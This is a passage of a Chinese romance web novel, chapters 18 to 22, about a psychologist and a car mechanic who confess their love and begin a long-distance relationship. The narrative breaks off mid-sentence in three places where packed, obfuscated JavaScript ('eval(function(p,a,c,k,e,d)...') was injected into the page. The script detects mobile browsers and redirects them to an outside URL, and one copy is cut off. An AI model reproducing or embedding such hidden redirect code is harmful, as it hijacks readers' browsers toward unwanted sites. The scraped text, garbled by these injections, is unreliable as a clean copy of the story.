李炎指着许行之说:“你!高材生!心理医生!以后不是专家就是栋梁!”他又指向了自己,“我!夜大文凭!除了修车只会给人理发!”说着说着李炎都要急眼了,眼眶又开始泛红,嘴角控制不住地线下瘪了瘪,“我们算什么啊?我又凭什么啊?我凭什么能让你和我多呆一会儿?呆的这几天真的够了,再呆下去我怕我真的……真的……”李炎的声音越来越小,也充满了绝望,“大城市的规矩太多,人的眼色也太复杂,钢厂那边我还能应付,可这里,我实在不会……” 看着李炎无措的样子,许行之也不好受,他站起来走到李炎的身边,又蹲下了,手把着他的手臂,“李炎,你看着我李炎。” 李炎低着头对着许行之,等他说下一句话。 “你很好,”许行之的喉结上下滚动了一下,仰着脖子说话的时候下颚线很明显,“仗义、洒脱、细心、又会为别人着想,你的这些,我学不来。” “我上一段感情结束得狼狈,甚至产生了自我怀疑,我犹豫了那么久,就是不确定你会不会因为我各种……不太好的性格和职业习惯而反感,因为我好像改不了,可我发现你好像不在意一样。” “你说的那些我都考虑过,我知道你这几年不好过,也大概能猜出来你家里发生了一些事情,这里的生活和交流方式也给你带来了不少压力,可你昨天说你舍不得我。” “你的一句舍不得,我想尽办法,也要试试。” 许行之第一次在李炎面前说这么多话,没有任何遮掩,剖析自己心迹的时候一点也没保留,全都是大白话。 “我很喜欢你,给我个机会,好吗?”许行之问。 李炎都怀疑自己听错了,一直以来以为许行之的态度就是随便怎么样都可以,而不是明确的、坚定的、充满感情的喜欢,许行之相当于把自己的心都剖开来给李炎看了,一个如此优秀的人的心脏,在自我剖白的时候,一样小心翼翼、颤颤巍巍。 他从不卑微,只在爱神前低头。 李炎抹了一把眼睛,声音还是很哑,“但是在一起的话,我们就只能异地恋。” 许行之站起来把李炎抱进了怀里,“等我,我来想办法。” 李炎没说话,紧紧环住了许行之的腰。 “你还没说喜欢我。”许行之说。 “你是小学生吗?” “你喜欢我吗?” “……还行。” “说你喜欢我。” “操……喜欢你,我喜欢你!” “我也喜欢你。” “傻逼。”李炎笑了。 “喝粥吧,喝完了收拾下我送你回家。” 李炎刚想说话,许行之没给他机会。 “我想送你回家。” 19. 第19章 临出门前,许行之煮了两个白煮蛋,套上了保鲜袋带在身边,李炎问他要吃吗,许行之说等凉一点了给李炎敷眼睛,自己哭得眼睛都肿了怎么没感觉,李炎简直都不想搭理这个明知故问的人。车开上高速之前,李炎又和许行之确认了一遍要不自己坐高铁回去算了,许行之难得骂了句李炎啰嗦,气得他想弹许行之的脑瓜崩。 开车这一路还是挺久的,许行之在开了三个小时后,把车停到了服务区,李炎问许行之是不是累了,要不要接下来的路他来开,许行之笑了笑,回问李炎不是说开这款车的人闷骚么,现在怎么不怕自己被人说闷骚了,李炎就怼他说你爱受累就受累吧,许行之笑了笑就下了车,回到车上的时候给李炎带了一根烤肠和一个手抓饼,还有他爱喝的豆浆,李炎接过去的时候笑得眉眼弯弯。 接下来的路上李炎就睡着了,脑袋往椅背上一靠,整个人是有些侧着的,今天李炎没有扎头发,事实上头绳昨晚就不见了,不知道掉哪里去了,带着点儿茶色的黄色发丝顺着李炎耳朵的轮廓安静地贴在脖颈上,许行之侧过头瞥了一眼的时候觉得他就像一只大三花一样,猫界的大漂亮。 到钢厂的时候已经快接近下午五点了,许行之没有把车停在了汽修店门口,而是问了李炎家住哪儿,直接停在了人楼道附近的停车位上,行李是许行之帮他从后备箱拿下来的,本来想直接给他送上去,想到他爸的那个态度,还是保守地问了下李炎。 “我等你下来?还是给你送上去?” “你怎么确定我会下来?”李炎对着许行之笑。 许行之倒也坦然,“你不下来也行,我就在楼下,睡一晚车也可以。” “哎呦,瞧瞧,茶得很。”李炎啧啧了两声,“等我下来吧。” 李炎刚走到门口,就看到赵建明从楼道里出来,两人打了个照面,都吓了一跳。 “你来干嘛?” 赵建明擦了擦脑门上的汗,“你回来了啊。” “我爸怎么了?!”李炎突然有点着急。 “哎没事没事,”赵建明摆摆手念叨着,“我知道你这周不在,就来看看你爸,你脾气怎么比老李还爆,不知道随谁。” “真没事?” “你硬要说有事,那也有一件,工会的老职工慰问补贴下来了,我给你爸送过来。” 赵建明是个好人,李炎心里清楚,他对他最大的成见来自于家里那件事是赵建明着手处理的,即使也知道赵建明他据理力争过了,但没个结果他就是不爽,想到这里李炎心里叹了口气,其实无论是什么结果都不会爽的,赵建明只不过恰巧当了个出气筒。 “哦,谢谢。” “你说什么??”赵建明压着嗓子问,似乎给他惊着了。 “我他妈说谢谢,要不要说第三遍啊?” 赵建明拍了拍李炎的胳膊,李炎都没来得及躲闪,就说先走了。 这些坐在车里的许行之都看见了,李炎大概过了半小时才下来,换了件衣服穿了个沙滩凉鞋下来的,出楼道的时候叼了根烟,走到车的驾驶位边用手指敲了敲车窗,许行之就把车窗放下来了。 “我抽根烟,一会儿再上来。” “好。” 李炎就被背靠在驾驶座这的后视镜旁边,拿着烟的手虎口这里还能看见微微凹下去好看的弧线,车头前是两栋居民楼夹着一片天空,夏天的晚霞是浓重的绯色,从李炎重新扎好的小辫儿上映过来特别好看,许行之看得都有点愣了,回过了神才拿起手机对着李炎,正好李炎回过头来对着他笑了一下,虽然逆着光,许行之也能感觉到李炎很快乐。 抽完了的烟被灭在了小区里的石柱上,李炎往前走了两步一下弹进了垃圾桶里,回来的时候顺手打开了车门,一屁股坐了进来,许行之是比较反感烟味的,但不知道为什么能对李炎这么纵容,甚至觉得他身上的香气混着烟草的味道很好闻。 “想吃什么?”李炎问许行之。 “去个市中心什么的地方吧。”许行之说着,“先去给你买个手机。” “为什么?”李炎有点不懂。 “你屏幕磕碎了,不知道吗?” “哦,那个啊,”李炎不以为意,“早就裂了的,也不影响用,爱消除也能看清楚。” “你就纵我一回,”许行之话里带着一些请求,“明天要走了,舍不得你。” “你说这话怎么一点不害臊啊许医生?” “想说就说了,”许行之侧过头来笑着看他,“你不爱听的话我也可以不说。” “爱听,爱听,你多说点。” “我就是想啊,”许行之清了清嗓子,“把好东西都给你。” “……谁跟你谈恋爱谁划算了呗?” “不一定,我感觉你跟我恋爱我划算。” “你输出能不能稍微缓缓,你们学心理的,是不是特别能把握人心啊?字字句句都往好听了说?” “专业技能么,必须过硬。”许行之对着李炎眨了下眼睛。 李炎还是给许行之指了到市民广场的路,停完车了后许行之自然地拉过了李炎的手,李炎还有点不好意思想挣开,许行之没让,就这么牵着走,还在他手心里挠了挠。 两人径直走进了手机店里,许行之没拿新款,而是拿了个和自己一样的型号,自己用的是黑色,就给李炎买了个白色,现场就把李炎的手机卡换了,从头到尾李炎还没摸到手机呢,许行之先拿了过去,在里面设置好了定位共享,才把手机给李炎,李炎看着俩人都是裸机,想着价格不便宜,又拽着许行之去隔壁的3C店里要了俩透明的手机壳,一人一个正好。准备去吃晚饭的时候李炎问许行之为什么要定位共享,许行之笑着和他说,异地恋第一步,就是能随时知道你在哪里。 “这才是你想给我买手机的原因吧?!”李炎恍然大悟。 “之一,不是全部。”许行之说。 责怪着许行之浪费又叫嚣着他管得严,可李炎心里是暖的,许行之说的他来想办法并不是一句空话,而是真的在正向推进他们的关系。 两人晚饭选了比较简单的羊肉粉,许行之说他们这的天气真不错,夏天也不觉得热,吃羊肉也不会觉得燥,李炎点了点头,却没敢接话,大城市不适应的话是他说的,但他也不会真的傻到去问许行之会不会来,这里没有一丝能和许行之搭上边的。 晚上许行之问李炎着不着急回去,李炎摇了摇头,又说他爸会自己安排晚饭不用操心,许行之就问他这有哪里能坐坐的地方,李炎想了半天都想不出能带许行之去的地儿,许行之就说那就去市民广场上找个长椅坐会儿,李炎同意了。 只要是走路,许行之就会牵着李炎的手,一开始的别扭和不习惯李炎很快就适应了,两个人坐到长椅上的时候还牵着手,对面的广场上老太太跳着广场舞,还别说,那动作连贯得,一般人还真不一定能跟得上。 “赵老师跟你家什么事儿啊,愿意说说么?” 李炎觉得他俩迟早会谈到这个问题的,他也没介意,“好几年前,厂里出了事故,我妈……没了,我爸少了条腿,你看见了。赵建明是当时来调解的,其实没他什么事,他挺好的。” 许行之听了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17338570|199286||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 没有答复,而是就这么直愣愣地看着李炎,他猜测过,也猜得八九不离十,但这话真的从李炎的嘴里说出来,他还是感到难过和遗憾,他捏了捏李炎手心。 “好几年了,就这么回事,现在也……哎,不去想了。” 许行之伸手抚了抚李炎的脑袋,没说话,却叹了口气。 李炎扯了个笑给他,又叹了一大口气,“哎,我就是后悔,那会儿不懂事的时候太多了,老气她。” “你知道么,人和这个地球上的主要成分差不多,即使走了之后,人还是会分解成地球上的元素,碳、氢、钙等等等等,”许行之说,“所以并不存在真正意义上的消失,离开了的人都会成为另一种形式存在在你生活里,可能一朵花、一棵草、一块石头。” 这个说法李炎是第一次听,甚至听得有点入迷,如果别人说他可能觉得是宽慰,从许行之嘴里说出来,他就觉得应该是这样。 “你是我命里的那棵草吗?”李炎问得没头没尾,但他想知道。 许行之摇了摇头,“如果可以的话,我愿意做你命里的一条路。” “什么意思?” “想让你前路平坦,一路顺风。” 李炎愣了愣,凑过去吻了一下许行之的脸颊。“谢谢你,许行之。” 这两人就坐在广场的长椅上,有一搭没一搭地聊着,聊到跳广场舞的阿姨都收了音响,又聊到市民广场都关了灯,只有路边的路灯昏黄地亮着,长椅落在阴影下的时候,两个人开始接吻,这还是两个人第一次这么循序渐进的吻,从触碰到蜻蜓点水,舌尖的试探再到融合,一场吻下来,李炎手肘撑着膝盖把脸埋进了手掌里,许行之就在一边笑请拍着他的背,大漂亮怎么这么容易害羞,他想。 两人最后商量了,许行之还是去睡上次的宾馆,李炎回家睡,毕竟老李在电话里发了飙下午见到李炎也没少吼,还是让他放心才好。本来李炎还是想和许行之一起到宾馆门口的,可许行之硬说自己来之前说的是要送他回家,李炎没到家都不算送他回家,拗不过高材生的逻辑也只好妥协。 到楼下的时候谁都没动,今天太开心太满足了,李炎舍不得上去。 “明天你去汽修店吗?还是在家里?” “得去店里,一礼拜没去了。” “那我明天中午前去找你见个面?”许行之问。 “好,”李炎话头停了一下,还是问出了那个问题,“什么时候走?” “下午吧,和你吃过午饭后。” 李炎点了点头。 “我回去看看,如果下周五没什么事的话,我就还坐那班车来。” “啊?”没听错吧,许行之这么快就来了?“不是异地恋吗要?” “异地五天,挺久了。”许行之又补了一句,“不远,也方便。” “三只猪怎么办?” “有赵柯呢,没事儿。” “要不我去吧。”李炎说。 “我来,”许行之伸手捏了捏李炎的脸,“你等我就行。” 许行之到底还是把李炎送到了楼门口,还打趣问李炎怎么不邀请他上去喝杯茶,李炎说他想得美,上去也不是喝茶,上去直接就奉献了,许行之说那敢情好啊,李炎让他别闹。李炎看着平日里戴着眼镜斯文又沉着的许医生,在他面前成为了生动活泼的草哥,心里提不上有多满足。 两个人拽着的手又拉扯了好几个回合,直到觉得头顶的月光都嫌他们碍眼了才松手。 互道了晚安后,李炎又回头看了一眼。 许行之站在月光下,像他的王子。 20. 第20章 把车停到自家楼下地下车库的时候,许行之不自禁地笑了一下,深呼吸叹了一大口,没下车,就坐在驾驶座上发愣,副驾驶上好像还有李炎的影子,从钢厂那儿回来的时候李炎坚持让许行之载着他到高速路入口边上,他说他一会儿打车回去,两个人都舍不得,但生活轨迹的确没办法合并,只好在有限的时间里耳鬓厮磨。 李炎下车的时候把扎在头发上的皮筋儿取了下来,交给许行之,他说晚上回家后就总想着要送许行之点什么,翻腾了所有抽屉和柜子,都找不到能匹配上他的东西,只好把自己天天唯一贴身的这玩意给他,给的时候还有些不好意思,还和许行之说如果不知道放哪里的话,随便扔一个角落就行,找不到了也没关系,反正他皮筋儿很多,这一个也有点儿松了,反复强调了少这一个也没什么所谓,可眼睛里的局促和躲闪却出卖了他心里的真实想法,许行之看着李炎小心翼翼又有点期待的样子,心里一阵发软,大漂亮什么时候这么不坦白了,还学会了找借口,许行之拿过了发圈之后就套在了左手手腕上,还和李炎说自己长发就不留了,套在手腕上随身戴着问他可不可以的时候,他看到李炎的耳朵尖有点红了。 开门的时候三只猪都迎了过来,直到许行之进来后还往后面看,许行之就对三只猫说他们李炎哥哥回家了,晚点有空再来看它们,他心里清楚猫听不懂,说这句话差不多也是给自己听的,一星期的时间也不长,可许行之这会儿觉得这屋子空得太明显了,玄关这儿少了一双鞋,阳台上少了奶黄色的衣服在晾着,连烟灰缸都在问李炎去哪儿了,他在心里数,还有一二三四五天。 洗完澡换完衣服坐在书房的椅子上的时候,许行之才给李炎发了消息,却没想到一向秒回的大漂亮,这会儿却没有回复,他打开手机定位,李炎不在家,也不在汽修店,甚至不在钢厂那一片,面对手机定位里这个陌生的地方,他心里的情绪有点复杂,担心也有、焦虑也有、想念也有、无奈也有,他突然发现自己对李炎了解得还是很少,即使目前了解到的就足够喜欢,但他还是想了解李炎更多,他不清楚是不是自己的控制欲在作祟,许行之也很矛盾,他应该要更大度一些的,这和信任没有关系,他完全信任李炎,只是这一会会儿的失联,就让他先感受到异地恋的挑战。 在犹豫要不要发第二条消息的时候,李炎的视频电话打了过来,镜头里的李炎还穿着下午送许行之时候的衣服,应该是坐在外面的,背后有一盏很高的路灯,背景音有些嘈杂,好像有人在碰杯又有人在喝彩,李炎的另一个手臂越过了前置摄像头又放了回去,好像在拿个什么东西,这会儿才看到许行之的视频电话已经接通了。 “到家了?”可能因为怕许行之听不清,李炎的声音很大。 “到了一会儿了,你在哪儿呢?” 又有人喝了个彩,许行之没听清李炎在说什么,李炎看到了许行之皱着的眉,起身动了动,嘈杂的背景音逐渐减少,又听到了车解锁的声音,李炎坐回了自己的车上,随着门啪地一关,彻底清净了。 李炎把手机摆正了,又把额前掉下来的碎发捋了捋,“朋友生日,我差点忘了,到店里来请我了都,太能闹腾了他们。” “嗯,”许行之回答得淡然,人没事就行,但心里总有些说不清道不明的感觉,“那赶紧去吧,让别人等着了不好。” 李炎笑了一声,又轻轻摇了摇头,“那挂了?” “行。”许行之应了,但没动,有点感觉憋得慌。 “哎许医生,我发现你还挺别扭啊?”李炎才不管呢,他有啥说啥,“脸都青了还装大度。” “什么?”装傻充愣这一块儿,许行之也算是个老手。 “你去旁边找个没人的地方,我想跟你说会儿话,别管他们,我到了我想你了,你怎么不回我消息呢,”李炎咔咔说了好几句,句句话里都带着笑意,“这些话说出来很丢人吗?” 许行之也笑了,拿他的大漂亮没办法,刚刚那口堆起来的气一下就被李炎戳破了。 “还有,”李炎嘴角也扬了起来,又继续说道,“你在哪里,他们是谁,你怎么不给我留言,这句话是不是也一并教给你比较好?” 许行之笑得都有点儿没辙了,左手抚了抚额头,也含着笑回李炎,“知道了李师傅。” “行,还不算笨,教得会就行。”李炎说。 “那你回答一下吧,”许行之清了清嗓子,“你刚刚问的那几个问题。” “我在外面,和朋友,吃饭。”李炎停顿了一下,眉毛皱了皱,“你这会儿该问我具体在哪里、和什么朋友了,还有要吃多久。” “停停,”许行之说,“要问那么细吗?” “主要看你想不想知道啊,你想知道什么就问,什么都可以问。”李炎说,“你们心理医生顶多能知道人有没有撒谎或者大方向吧,细节肯定没办法一下就清楚吧。” “那肯定,我们又不是算命的。” “所以我说,许医生,”李炎这会儿脑袋凑得离手机近了点,许行之能清楚地看清李炎漂亮的人中线,传过来的声音也更近了一点,“少一点套路,多一点真诚。” 许行之被他逗得不行,笑着叹了口气,“我这不是怕自己掌握不好尺度么,又说我管得严了。” “我乐意啊,乐意被你管。” “那什么时候回家啊?”许行之又追着问了句,“没喝酒吧,这还开着车呢。” “喝的可乐,我有数,”李炎笑得很好看,伸手挠了挠鬓角,露出的小臂内侧很白,线条也很好看,“本来就快结束了,但我看你一直没给发消息么,就想等着回去了再问你。” “那你怎么打视频还开小差啊?还顾着边上的人呢?” “你看,你这个坦白的问题就很好,”李炎柔着声音说,“不爽啊?” “有吗?没有吧。” 李炎挑了个眉毛没说话。 “好吧,有一点,”许行之放弃似的声音也随便了起来,“这才刚分开没多久,给自己打电话的时候就开小差,以后可怎么办啊。” 李炎就在屏幕里笑,也不回答许行之的话。 “以后不得就修车的时候把手机往边上一放,想起来了才会和我打个招呼?” “哎你这人,”李炎啧了一声,“怎么这么会想象呢,我能吗?我修车的时候至少也放个懒人支架在旁边啊,看你一会儿再修一会儿,多带劲啊。” “带劲什么?”许行之问。 “帅哥看我修车啊,”李炎小声地说了句,“就是帅哥有的时候嘴太硬,不太好撬实话出来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“你不会觉得我控制欲太强了吗?”许行之倒是有些疑惑。 “不会啊?为什么?” “就是……”许行之有些难开口,“管太多了?会不会没自由?” “嘶,你要不先坦白一下,为什么会这么觉得?” 许行之有的时候觉得,李炎更像心理医生。 “上一个这么说的?”李炎又追问了一句。 许行之愣了一下,还是回答了,“嗯。” “你们高材生也会被CPU啊?” “啊?” “就就就,那什么,精神控制。” “PUA吧?” “对对,就这个词,我老记不住。”李炎声音里带着点儿娇,听得许行之心里痒,“你在意我、关心我,才会想知道我在干什么,对吧?” 许行之点了点头,觉得李炎说得没错。 “你会去管别人在干嘛么?让你身边所有人都给你发消息跟你汇报?”李炎都说乐了,“忙得过来么许医生?” 许行之也跟着乐了,“倒也不必这么多,你一个就行。” “我啊,巴不得你这样,”李炎的话里越来越有些别的意思,“管着我也好,绑着我也好,都喜欢。” 挂电话的时候许行之都觉得自己呼吸都有些不匀称了,这大漂亮功夫太深了,话里都带着钩子,专勾对他心神不稳的魂。 李炎最后的这几句话,几乎是非常轻巧地解开了自己的心结,一直以来以为是自己性格里的缺陷,在李炎的嘴里成为了理所应当的事儿,竟然被这么轻巧地揭过去了,这让许行之感到了前所未有的放松。 今天刚回来,可还有五天,他已经有些等不及了。 21. 第21章 早上出门前,许行之正在戴腕表,眼睛却看向了放在洗手台上的皮筋,然后嘴角就忍不住上扬了起来,这两天李炎老微信上问自己皮筋儿照顾得还行么,许行之就拍一张自己戴着皮筋的手腕给他看,然后李炎就会发一个中老年的感恩表情包过来,逗得许行之拿着手机都会笑出来。 但实际上两人不常聊,偶尔一两个回合就各忙各的了,许行之是规律的早八,李炎的作息到不太固定,就是睡得比许行之晚一点儿,一来二去的养成了许行之早上醒过来看李炎和他说晚安,他一早上给许行之发早安的习惯。倒是两个人会在晚上抽一段时间视频,聊聊天气和每天的琐碎,大多数时候都是李炎在说,许行之就笑着听李炎说的那些事儿,他也偶尔会把摄像头翻过去,挨个教李炎认清哪个是肥牛、哪个是毛肚、哪个是金针菇,李炎说看着没有摸着手感好,许行之就说等他开车去的时候可以带着肥牛来,李炎立马说不不,他查了猫最好别老换地方,还是等他去,许行之就说好。 今天去医院的时候,意外发现主任和副主任医生都在办公室里,许行之来了后两人就站了起来,他看了看时间发现自己没迟到啊,怎么反应这么大,没想到的是这俩是来请他帮忙来的,说是周末有个医学研究的论坛开辟了心理临床专业的话题,让三院出个去演讲的人,主任说他正好在主论坛上有圆桌会议要参加,副主任又说自己形象不好,思来想去还是来找了许行之,一方面这个小师弟专业过硬,另一方面形象上绝对让三院长脸。 许行之不好拒绝,但也没一口就答应下来,就觉得这事儿怎么就那么不凑巧,上周日还和李炎信誓旦旦说这周一定去找他,这会儿就来了个事,见许行之面露难色,两位主任也不好强迫,毕竟是好苗子,刚想开口找点说辞说服他,办公室的门就被敲开了,肺循环科的邱立勤医生来了,见心里临床科的三大支柱都在,喜形于色。 “哎呦,三位大神都在啊,”邱立勤看两位主任神色不对,赶紧又跟了句,“怎么了这是?病人情况太复杂了?你们搞心里研究峰会呢?” “不是,”副主任啧了一声,“就是周末有个医学论坛要我们科室去演讲,这会儿凑不上人呢。” “许医生不去吗?”邱立勤笑开了,“又帅、专业上又有领悟,很合适啊。” “我周末有点事。”许行之说,“不大方便。” 邱立勤的表情立刻上了点八卦的意思,声音特别小的问:“有情况?” 许行之没说话,但两位主任这会儿注意力都吸引过来了。 “哎是不是有情况?”邱立勤又问了一遍,“是上次黄头发的那个不?” 虽然说许行之在校和在医院的时候都没什么遮掩,但这邱立勤也太不注意了,明晃晃地打探,一点也没拿自己当外人,甚至也没把两位主任当外人。 许行之不想接这个话题,转头就对邱立勤说:“邱医生是来讨论病例的吗?” 没想到人根本就没搭理他的意思,“哎呀哎呀,我就说,”邱立勤的眼睛都兴奋得眯起来了,八卦简直迷了这中年男人的眼,“上次见着他就觉得不一般,气质也好,放人堆里一眼就能见着,还是个长头发的——” “邱医生,”许行之的语气重了一点,“你来是有什么事吗?” “啊?没、没事儿,也没什么事儿,我就是……来拿一份心理评估报告。”被打断了邱立勤才发现自己的失态,“黄、黄姐也不在,我看你们仨都在,就想着唠唠,毕竟以前咱们科室还有点渊源。” 许行之走到黄医生的桌边,看了看文件,找到了一名肺栓塞病人的心理评估报告,放到了邱立勤的面前,“是不是这份?” “是是。”邱立勤接了过来。 许行之的头往门口偏了偏,示意他可以走了。 本来邱立勤还想多说两句,这会直接就哑火了,每次来都被许行之下逐客令,他觉得脸上有点挂不住,关门的时候挺大声的,屋里都能听见他在走廊里说的那句“牛气什么呀”。 主任见状摇了摇头,“邱医生一把年纪都副科了,一点都不稳重,”又对着许行之说,“别放在心上。” 许行之点了点头,但又跟了一句,“师哥,我周末真有事,要不让黄姐去?” 主任没说话,副主任倒先笑了,“我们黄姐看病做咨询那都是一等一的柔和,你让她上台,她该下来的时候就找你做咨询了。” 听着这话许行之也跟着笑了,他们科室的几个医生感情都不错,互相也都挺照顾的,对他这个小师弟尤其关爱,一方面是和主任师承一脉,另一方面这小师弟也讨喜,天赋又高又勤奋,长得还帅,是科室里的门面了。 “不过刚刚邱医生说的,”主任这会儿顿了顿,神色上瞧着却是高兴的,“是不是真有那么回事儿?谈上啦?” “嗯,”许行之这才微笑着点了点头,“他在外省,我这周得过去。” “谈多久啦?”主任这会儿也变成了个眯眯眼,之前就听老师说许行之上一段整得挺伤心的,还有点儿自我逃避的意思,这会儿小师弟心伤看来过去了,他也很高兴。 许行之倒是没想到主任也关心起这档子事儿来了,清了清嗓子,“刚……确立关系。” “那他什么时候回来?” “呃,我们,”许行之有点儿卡着了,“异地恋。” “异地恋?!”主任和副主任同时惊讶地说出了口,实在是没想到聪慧无比的小师弟会选择异地恋。 “嗯,所以这周定了要去找他的,”许行之还是很为难,他也知道这个医学论坛的演讲对两位主任来说是个任务,“抱歉。” “行之,”主任思索了下后开了口,“你看这样行不行,这次主要的课题呢,是老师研究的领域,我们不去的话的确有点说不过去,你看看能不能和你……那位打个招呼,这周就先请他过来,之后你再补上,行不行?晚点儿我看看下周周五给你把排班空出来,你早一天过去,你看行吗?” 看着主任动之以情晓之以理的样子,再直接拒绝就有些拂人面子了,“那我先问问吧。” “哎问问,先问问。”副主任也在边上说。 下了班后许行之坐在车上,紧缩着眉头握着手机,他有点难说出口,李炎之前也说过来,被自己打断了,明明是想让他等着自己过去的,这会儿却要变卦了。一直以来许行之也没有异地恋的经历,他有些不知道该怎么处理这种心灵距离近但是物理距离远的情况。 他先打开了手机的查找功能,看到李炎还在汽修店那呆着呢,这都快六点了,还没忙完么,还是忙完了正在和伙计们一起吃饭?这一刻思念像潮水一样涌过来,想看见他,想和他面对面说话,想当面看李炎骄傲地笑着的样子,许行之忍不住伸出了手在空气里探着,想象着手指穿过李炎发丝的触感,还有他细长的、漂亮的眼尾,在他亲吻的时候会闭起来微微颤抖。他没想到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17338572|199286||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,在面对李炎时候心里的欢喜,在远离他的时候,会变得更深刻,也正是这份深刻,让许行之一直没发出那句消息。 大漂亮:许医生,下班了没? 倒是李炎先发了过来,这条消息像是把许行之从水里捞了出来,还抖了抖,刚刚的憋闷缓解了不少,许行之直接靠在了椅背上,手擎在眼前回李炎的信息。 知:刚下,在车里,李师傅忙完了吗? 大漂亮:今天要加班咯,明天有人来拿车 大漂亮:不过不会太晚,放心 看到这里许行之的心软了一下,这大漂亮啊,懂事的时候是真懂事。 知:有件事想问问你,方便电话吗? 没等几秒钟,李炎的电话拨了过来,许行之接起来后咳嗽了两声。 “你不舒服吗?”李炎的声音里听着有点儿着急。 “没有,就是有点儿口渴。” “以后下班了带瓶水上车呗,”李炎声音里透出的关心浸到了许行之的耳朵里,“好不好?” 虽然不是视频,但许行之还是笑着摇了摇头,他太喜欢李炎这样和他说话了,“好好好,我的……” “你的什么?” “嗯嗯。” “嗯嗯?” “李炎。” “不是这个,”李炎的声音里也带着笑,“说啊,操。” “啧,你怎么一言不合就说脏话呢。” “说不说?” “宝贝。” “哎呦——许行之你可真腻啊!” “不是我的?” “放屁!必须你的!” 这电话打得两个人嘴角都下不来,连苹果肌都感觉有点酸,许行之一直不太会说这些,话都到嘴边了还觉得有点儿发烫,但对着李炎这心疼又娇俏的动静儿,实在是忍不住要表达出来。 “对了,有件事,想和你商量商量。”许行之说得有些艰难,他不想打断刚刚和李炎聊天的气氛。 “你说。” “这周末我可能来不了了,有个医学论坛……我们科室派我去演讲。”许行之越说越困难,后面几乎都有点说不下去了,“我……和主任说了不方便,但这有关我的导师,所以我——” “你可真是,”李炎笑了一声,“我就说我来啊。” “啊?”轮到许行之愣了,“你不生气?” “你又不是无故缺席,我生什么气,”李炎顿了顿,“那我能去看你演讲吗?” “当然可以。” “我都没有去过那种场合,需要准备什么吗?”虽然李炎很想去看许行之演讲的风姿,但到底心里还是有些犯怵的。 “嗯……那你周五早点来?”许行之说,“可能要买点衬衣西裤什么的。” 李炎声音里有点犹豫,“我就……没太穿过那玩意儿,太束缚。” “我还挺想看你穿的。”许行之话里有了点别的意思。 “你可别再坐在车里了,快开回去吧,给自己去去膻味儿。”李炎话里都笑得不行了。 许行之问他,“那……周五我来南站接你,嗯?” “好的,大宝贝。” “大吗?” “大,太大了,哎你可别骚了。” 许行之驶出停车场的时候,天还没有完全暗下来,他嘴角还挂着笑,心里又挂着愧疚,异地恋第一回见面,自己就变了卦,许行之深深叹息了一口。 22. 第22章 虽然主任答应的是自己之后调休,但许行之这周还是和别人换了班,李炎下午两点多到这里,他想要李炎一出站就能看见他。 中午从医院离开的时候,许行之开车路过医院门口的那条路,看见有个花店,心里一动,他也不知道这样合不合适,但那一束漂亮的橙色玫瑰闪进视线里的时候,李炎的脸就在脑海里浮现了出来,许行之又特意把车停回了医院的地面停车场,小跑着出来买了一束,又单独包了一枝,才心满意足地开车去火车站。 到火车站的时候正好两点,许行之拿了手机出来,李炎并没有给自己发消息,他已经知道这是李炎欲擒故纵的戏码,所以这会儿并不着急,就在出站口的一根柱子前站定了,刚刚从地下停车场跑上来有点儿着急了,许行之的额角上有着微微的细汗。许行之今天还是短袖白衬衫配卡其色休闲西裤,干净的颜色把人又衬得帅了三分,陆续看到有人从出站口出来的时候,他先是检查了一下左手手腕上的皮筋儿在不在,看了看时间后把手背到了背后,眼里带着笑期待着李炎的出现。 他从验票口就看见李炎了,他离得越近,许行之的笑意越浓。李炎一头的黄发今天只扎了上半,戴了个特别炫酷的银色反光墨镜,上身是白的T恤,下身的黑色多袋工装裤显得很宽松,这次倒是没有穿那双黑白格的板鞋,而是一双纯白色的帆布鞋,就是鞋带是镭射色彩的。 走到许行之面前的时候,李炎对着他抬了抬下巴,“等很久了吗?什么时候来的?” “你也不关心啊,消息也不给我发一个。”许行之在配合李炎的戏码上,一向得心应手。 李炎啧了一声,把墨镜从鼻梁上往下拉了拉,露出了眼睛,别人看来可能这个动作有些挑衅,但这动作落在许行之眼里,就是挑逗了,墨镜的镜腿哪儿是在鼻梁上蹭的,明明是在心里蹭的,蹭得许行之心里发痒。 “你不知道先联系我吗?”李炎笑了一下,把墨镜都摘了下来,挂在胸口,“异地恋基本的信任呢?” “在这里。”许行之就等他这句话呢,左手终于从背后拿到了身前,手里是一支橙色的玫瑰,“花店里的小哥说这叫果汁阳台,我觉得像你。” 送花这件事,李炎是万万没想到过的,他一直以为许行之在恋爱的时候会和平时一样平静,甚至是冷淡的,但从确认关系到一直到现在,许行之的所有表现都是热烈的,说的话烧耳朵也就算了,这突然的一枝花,李炎不知道该怎么反应,只好皱了皱眉接了过来,问了一个煞风景的问题,“小哥帅不帅?” “帅,”许行之的声音拐了个大弯,“但没你漂亮啊。” “那肯定,我这名字不是白取的。”李炎接过了花仔细看了看,又闻了闻,指腹还去蹭了蹭花儿的刺,然后又啧了一声,“帅的果然不能信啊,这明明是月季啊。” 对于花儿来说,许行之实在是不太了解,但看见李炎这煞有介事的表情,还是觉得有点儿挫败,难得的浪漫结果发错了力,他尴尬地清了清嗓子,无奈地笑了笑,“这,我也不太懂。” 